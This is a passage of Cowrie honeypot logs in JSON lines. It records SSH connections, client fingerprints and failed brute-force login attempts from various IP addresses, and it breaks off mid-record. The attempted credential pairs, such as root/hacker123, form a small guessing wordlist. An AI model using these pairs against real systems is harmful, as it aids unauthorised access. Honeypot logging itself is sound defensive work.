{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:39.130895Z","src_ip":"34.123.134.194","session":"f3387f05315a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ltx","password":"123456","message":"login attempt [ltx/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:39.453712Z","src_ip":"34.123.134.194","session":"f3387f05315a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:40.591913Z","src_ip":"34.123.134.194","session":"f3387f05315a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":60998,"dst_ip":"10.17.0.5","dst_port":22,"session":"480f1b657006","protocol":"ssh","message":"New connection: 91.92.40.4:60998 (10.17.0.5:22) [session: 480f1b657006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:42.698316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:42.703858Z","src_ip":"91.92.40.4","session":"480f1b657006","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:42.869060Z","src_ip":"91.92.40.4","session":"480f1b657006","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"q1w2e3","message":"login attempt [user/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:43.214041Z","src_ip":"91.92.40.4","session":"480f1b657006","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:44.299172Z","src_ip":"91.92.40.4","session":"480f1b657006","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":58584,"dst_ip":"10.17.0.5","dst_port":22,"session":"33e583e88cf8","protocol":"ssh","message":"New connection: 20.228.193.165:58584 (10.17.0.5:22) [session: 33e583e88cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:46.520139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:46.524765Z","src_ip":"20.228.193.165","session":"33e583e88cf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:46.538664Z","src_ip":"20.228.193.165","session":"33e583e88cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sh@123456789","message":"login attempt [root/Sh@123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:46.637213Z","src_ip":"20.228.193.165","session":"33e583e88cf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.174.129.232","src_port":51253,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f1731a6b775","protocol":"ssh","message":"New connection: 160.174.129.232:51253 (10.17.0.5:22) [session: 3f1731a6b775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:47.157585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:47.161383Z","src_ip":"160.174.129.232","session":"3f1731a6b775","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:47.296686Z","src_ip":"160.174.129.232","session":"3f1731a6b775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:47.657734Z","src_ip":"20.228.193.165","session":"33e583e88cf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hacker123","message":"login attempt [root/hacker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:47.873119Z","src_ip":"160.174.129.232","session":"3f1731a6b775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:49.011626Z","src_ip":"160.174.129.232","session":"3f1731a6b775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.445425033569336,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:45:55.986942Z","src_ip":"107.6.151.170","session":"82faba43ae6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":34174,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c79fc9fa53a","protocol":"ssh","message":"New connection: 62.133.62.83:34174 (159.203.135.109:22) [session: 5c79fc9fa53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:18.721505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:18.726998Z","src_ip":"62.133.62.83","session":"5c79fc9fa53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:18.805128Z","src_ip":"62.133.62.83","session":"5c79fc9fa53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"150292","message":"login attempt [root/150292] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:19.049096Z","src_ip":"62.133.62.83","session":"5c79fc9fa53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":60564,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd72863025af","protocol":"ssh","message":"New connection: 198.1.75.59:60564 (10.17.0.5:22) [session: fd72863025af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:19.239426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:19.246094Z","src_ip":"198.1.75.59","session":"fd72863025af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:19.343837Z","src_ip":"198.1.75.59","session":"fd72863025af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#$","message":"login attempt [root/admin#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:19.625821Z","src_ip":"198.1.75.59","session":"fd72863025af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:20.130447Z","src_ip":"62.133.62.83","session":"5c79fc9fa53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:20.717404Z","src_ip":"198.1.75.59","session":"fd72863025af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":41850,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca5a32e90f12","protocol":"ssh","message":"New connection: 165.232.38.41:41850 (159.203.135.109:22) [session: ca5a32e90f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:24.221327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:24.225112Z","src_ip":"165.232.38.41","session":"ca5a32e90f12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:24.296378Z","src_ip":"165.232.38.41","session":"ca5a32e90f12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"a","message":"login attempt [test/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:24.613971Z","src_ip":"165.232.38.41","session":"ca5a32e90f12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:25.691994Z","src_ip":"165.232.38.41","session":"ca5a32e90f12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":49534,"dst_ip":"10.17.0.5","dst_port":22,"session":"003344dbdd65","protocol":"ssh","message":"New connection: 176.32.39.21:49534 (10.17.0.5:22) [session: 003344dbdd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:32.594315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:32.597910Z","src_ip":"176.32.39.21","session":"003344dbdd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:32.712583Z","src_ip":"176.32.39.21","session":"003344dbdd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11051980","message":"login attempt [root/11051980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:33.066065Z","src_ip":"176.32.39.21","session":"003344dbdd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:34.183642Z","src_ip":"176.32.39.21","session":"003344dbdd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43184,"dst_ip":"10.17.0.5","dst_port":22,"session":"f521aa5074aa","protocol":"ssh","message":"New connection: 103.153.68.219:43184 (10.17.0.5:22) [session: f521aa5074aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:40.933338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:46:40.936292Z","src_ip":"103.153.68.219","session":"f521aa5074aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client 